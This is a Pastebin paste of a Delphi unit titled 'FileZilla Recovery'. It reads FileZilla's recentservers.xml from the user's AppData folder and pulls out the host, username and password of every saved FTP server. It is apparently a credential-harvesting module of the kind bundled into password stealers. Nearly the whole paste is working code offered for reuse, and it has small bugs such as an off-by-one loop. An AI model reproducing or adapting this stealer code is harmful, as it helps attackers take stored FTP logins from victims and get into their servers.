Fakedo0r

FileZilla Recovery

May 2nd, 2012
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 6.18 KB | None | 0 0
  1. //******************************************************************************
  2. //* UNIT:         UNT_FileZillaRec
  3. //* AUTOR:        Fakedo0r
  4. //* FECHA:        03.05.2012
  5. //* CORREO:       [email protected]
  6. //* BLOG:         Sub-Soul.blogspot.com
  7. //* USO:          FileZillaRec
  8. //******************************************************************************
  9. Unit UNT_FileZillaRec;
  10. //******************************************************************************
  11. //DECLARACION DE LIBRERIAS / CLASES
  12. //******************************************************************************
  13. Interface
  14.  
  15. Uses
  16.   Winapi.Windows, System.SysUtils, System.Classes,
  17.   ShlObj, RegularExpressions, Registry;
  18. //******************************************************************************
  19. //DECLARACION ESTRUCTURAS
  20. //******************************************************************************
  21. Type
  22.   TFileZilla_Data = Record
  23.     sHost: String;
  24.     sUser: String;
  25.     sPass: String;
  26.   End;
  27. //******************************************************************************
  28. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  29. //******************************************************************************
  30. Function FileZillaRec(sSepInt: String): TStringList;
  31. Function IsFileExists(sFile: String): BOOL;
  32. Function ReadFileA(sFile: String): String;
  33. Function GetSpecialFolderA(iCSIDL: Integer): String;
  34. Function ByteArrayToString(bByteArray: TBytes): AnsiString;
  35. Function RegSplitA(Pattern, sCadena: String): TStringList;
  36. Function MidText(sCadena: String; sDel_1: String; sDel_2: String): String;
  37. //******************************************************************************
  38. Implementation
  39. //******************************************************************************
  40. //<--- RECUPERA LAS CUENTAS DE FILEZILLA --->
  41. //******************************************************************************
  42. Function FileZillaRec(sSepInt: String): TStringList;
  43. Var
  44.   sPath:        String;
  45.   sAccounts:    String;
  46.   I:            Smallint;
  47.   tArrTemp:     TStringList;
  48.   tArrAccs:     TStringList;
  49.   tArrFZData:   TFileZilla_Data;
  50. Begin
  51.   Result := TStringList.Create;
  52.   tArrTemp := TStringList.Create;
  53.  
  54.   tArrFZData.sHost := '';
  55.   tArrFZData.sUser := '';
  56.   tArrFZData.sPass := '';
  57.  
  58.   sPath := GetSpecialFolderA(CSIDL_APPDATA) + '\FileZilla\recentservers.xml';
  59.  
  60.   If IsFileExists(sPath) = False Then Exit;
  61.  
  62.   sAccounts := ReadFileA(sPath);
  63.  
  64.   If (AnsiPos('<RecentServers>', sAccounts) = 0) Or
  65.       (AnsiPos('<RecentServers>', sAccounts) = 0) Then
  66.     Exit;
  67.  
  68.   sAccounts := MidText(sAccounts, '<RecentServers>', '</RecentServers>');
  69.  
  70.   tArrAccs := RegSplitA('<Server>', sAccounts);
  71.  
  72.   For I := 1 to tArrAccs.Count - 1 do
  73.   Begin
  74.     tArrFZData.sHost := MidText(tArrAccs[i], '<Host>', '</Host>');
  75.     tArrFZData.sUser := MidText(tArrAccs[i], '<User>', '</User>');
  76.     tArrFZData.sPass := MidText(tArrAccs[i], '<Pass>', '</Pass>');
  77.  
  78.     tArrTemp.Add(tArrFZData.sHost + sSepInt +
  79.                  tArrFZData.sUser + sSepInt +
  80.                  tArrFZData.sPass);
  81.   End;
  82.  
  83.   Result := tArrTemp;
  84. End;
  85. //******************************************************************************
  86. //<--- OBTIENE LAS RUTAS ESPECIALES --->
  87. //******************************************************************************
  88. Function GetSpecialFolderA(iCSIDL: Integer): String;
  89. Var
  90.    pszPath: PChar;
  91.    iRet:    Integer;
  92.    tIDL:    PItemIDList;
  93. Begin
  94.   GetMem(pszPath, MAX_PATH);
  95.   iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
  96.  
  97.   If iRet = NOERROR Then
  98.   Begin
  99.     SHGetPathFromIDList(tIDL, pszPath);
  100.     GetSpecialFolderA := String(pszPath);
  101.   End;
  102.  
  103.   FreeMem(pszPath);
  104. End;
  105. //******************************************************************************
  106. //<--- PERMITE LEER TEXTO / BINARIO --->
  107. //******************************************************************************
  108. Function ReadFileA(sFile: String): String;
  109. Var
  110.   dwRet:    DWORD;
  111.   hFile:    THandle;
  112.   iSize:    Integer;
  113.   bRead:    TBytes;
  114. Begin
  115.   hFile := CreateFile(PChar(sFile), GENERIC_READ, FILE_SHARE_READ, Nil,
  116.                       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  117.  
  118.   If hFile = INVALID_HANDLE_VALUE Then Exit;
  119.  
  120.  
  121.   iSize := GetFileSize(hFile, Nil);
  122.   SetFilePointer(hFile, 0, Nil, FILE_BEGIN);
  123.   SetLength(bRead, iSize);
  124.  
  125.   ReadFile(hFile, bRead[0], iSize, dwRet, Nil);
  126.   CloseHandle(hFile);
  127.  
  128.   Result := ByteArrayToString(bRead);
  129. End;
  130. //******************************************************************************
  131. //<--- CONVIERTE ARRAY DE BYTES EN STRING --->
  132. //******************************************************************************
  133. Function ByteArrayToString(bByteArray: TBytes): AnsiString;
  134. Var
  135.   i: Integer;
  136. Begin
  137.   SetLength(Result, Length(bByteArray));
  138.  
  139.   For i := 0 to Length(bByteArray) do
  140.     Result[i + 1] := AnsiChar(bByteArray[i]);
  141. End;
  142. //******************************************************************************
  143. //<--- SPLIT [EXPRESIONES REGULARES] --->
  144. //******************************************************************************
  145. Function RegSplitA(Pattern, sCadena: String): TStringList;
  146. Var
  147.   I:        Integer;
  148.   RegEx:    TRegEx;
  149.   sArrVar:  TArray<String>;
  150. Begin
  151.   Result := Nil;
  152.   Result := TStringList.Create;
  153.   sArrVar := tRegEx.Split(sCadena, Pattern);
  154.  
  155.   For I := 0 To Length(sArrVar) - 1 Do
  156.     Result.Add(sArrVar[I]);
  157. End;
  158. //******************************************************************************
  159. //<--- VERIFICA SI EL ARCHIVO EXISTE --->
  160. //******************************************************************************
  161. Function IsFileExists(sFile: String): Bool;
  162. Var
  163.   iRet: DWORD;
  164. Begin
  165.   Result:= True;
  166.   iRet := GetFileAttributes(PChar(sFile));
  167.  
  168.   If iRet = INVALID_FILE_ATTRIBUTES Then Result := False;
  169. End;
  170. //******************************************************************************
  171. //<--- OBTIENE LA CADENA CENTRAL --->
  172. //******************************************************************************
  173. Function MidText(sCadena: String; sDel_1: String; sDel_2: String): String;
  174. Begin
  175.   Result := Copy(sCadena, AnsiPos(sDel_1, sCadena) + Length(sDel_1), Length(sCadena) - AnsiPos(sDel_2, Result));
  176.   Result := Copy(Result, 1,  AnsiPos(sDel_2, Result) - 1);
  177. End;
  178.  
  179. End.
Advertisement
Add Comment
Please, Sign In to add comment